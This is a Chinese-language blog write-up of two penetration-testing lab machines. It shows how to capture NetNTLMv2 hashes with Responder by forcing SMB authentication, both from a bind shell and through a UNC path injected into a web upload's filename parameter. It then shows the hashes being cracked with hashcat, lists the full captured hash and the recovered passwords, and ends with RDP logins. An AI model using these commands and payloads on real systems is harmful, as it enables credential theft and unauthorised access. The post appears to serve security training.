NET-NTLMv2 密碼破解

 NET-NTLMv2 密碼破解


靶機 IP : 192.168.197.211

第一步 rustscan,└─$ rustscan -a 192.168.197.211 --scripts none --ulimit 500

135、139、445、3389、4444、5555、5985、47001、etc...




nmap 列舉這幾個 Port,└─$ sudo nmap -sV -sC -p 135,139,445,3389,4444,5555,5985 192.168.197.211



上圖可以看到有一個 4444 Port 是 krb524,透過 nc 直接連接時發現可以直接拿到 shell

這是因為有一個假設的前提,前提是我們已經有透過 paul 帳號初步滲透並在對方的 4444 Port 上綁定了 Remote Shell,所以此時才能直接使用 nc 進行 remote shell 連接

執行 ipconfig 確認是該台機器的 shell,whoami 查看使用者是 paul




透過 net user paul 查看使用者的進一步資訊,僅隸屬於遠端桌面群組




在我們的攻擊機上執行 ip a 查看相關 Interface 介面與資訊,我們需要的是 tun0 這個介面

192.168.45.228 是我們攻擊機的與靶機有路由的介面 IP



執行 └─$ sudo responder -I tun0,於介面 tun0 上啟動 responder 監聽,接下來主要要透過 SMB 這個服務來監聽所有傳入的驗證,確認 SMB 服務在 responder 是 ON 的狀態




接下來從剛剛的 remote shell 執行 dir \\192.168.45.228\test,可以看到存取失敗




在 responder 服務上可以看到從靶機傳過來的驗證,使用者是 FILES01\paul,密碼是雜湊如下

paul::FILES01:f9d057cea7136add:883BA6449490AD7910962CEDAF7DA112:01010000000000008017673550EBD901F4031B80844971500000000002000800310050003500500001001E00570049004E002D00370037005A004400350051005400550036003900580004003400570049004E002D00370037005A00440035005100540055003600390058002E0031005000350050002E004C004F00430041004C000300140031005000350050002E004C004F00430041004C000500140031005000350050002E004C004F00430041004C00070008008017673550EBD901060004000200000008003000300000000000000000000000002000003C3D8A648DCABEFE51484314CD8247991A1F26C7E41B56E7B4F8C651CCCBCB9D0A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00340035002E003200320038000000000000000000



注意若 responder 顯示 Skipping previously captured hash for ~~ 表示之前已經捕獲過該 hash 值

所以將不在 Terminal 介面中再次顯示,即啟動 responder 時代入 -v 參數表明每次都捕獲與顯示 Hash 值。將 Hash 值保存下來存成文字檔 paul.hash



接著使用 └─$ hashcat --help | grep -i "ntlm" 查找我們要的 mode,此為 NetNTLMv2 Hash




也可以透過線上的 Hash 分析網站查找格式 Hash Analyzer - TunnelsUP

不過我們前面是使用 Windows 的 Client 透過網路分享去存取 UNC Path

所以可以很確定的是 NetNTLMv2 的 HASH,接著就 hashcat 吧

└─$ hashcat -m 5600 paul.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule  --force

密碼出來了,是 123Password123


xfreerdp 進去吧 └─$ xfreerdp -v:192.168.197.211 -u:paul -p:123Password123

桌面就有此靶機的 flag



從答案找方法,這一題 nc 進去後,直接執行 type C:\Users\paul\Desktop>flag.txt 就有答案了






靶機 2 : 192.168.197.210

有個網站名稱是 marketingwk01(有給網站,看來是從這裡下手)

第一步一樣先 rustscan,└─$ rustscan -a 192.168.197.210 --scripts none --ulimit 5000



nmap 看哪一個是 Web Server,一般後面連續的 High Port 都是 RPC

└─$ sudo nmap -sV -sC -p 135,139,445,5040,8000,49664,49665,49666,49667,49668,49669,49670,49671 192.168.197.210





在 8000 PORT 是 Web Server,透過名稱登入後看到如下有個上傳檔案的功能




先在攻擊機起 responder,└─$ sudo responder -v -I tun0

隨便上傳一個檔案後送到 Burp Suite ,確認上傳的參數是 fulename=

修改上傳的檔案路徑為 "\\\\192.168.45.228\share\noexistent.txt" 如下圖




就可以收到送過來的 NetNTLMv2 Hash 如下,預設會試著傳送 5 次



使用者帳號是 sam,將送過來的 hash 存成 sam.hash



已知 NetNTLMv2 mode 是 5600,直接 hashcat 破解密碼

└─$ hashcat -m 5600 sam.hash /usr/share/wordlists/rockyou.txt  --force                                     

密碼出來了是 DISISMYPASSWORD




RDP 進去吧,桌面就拿到 flag 了





留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)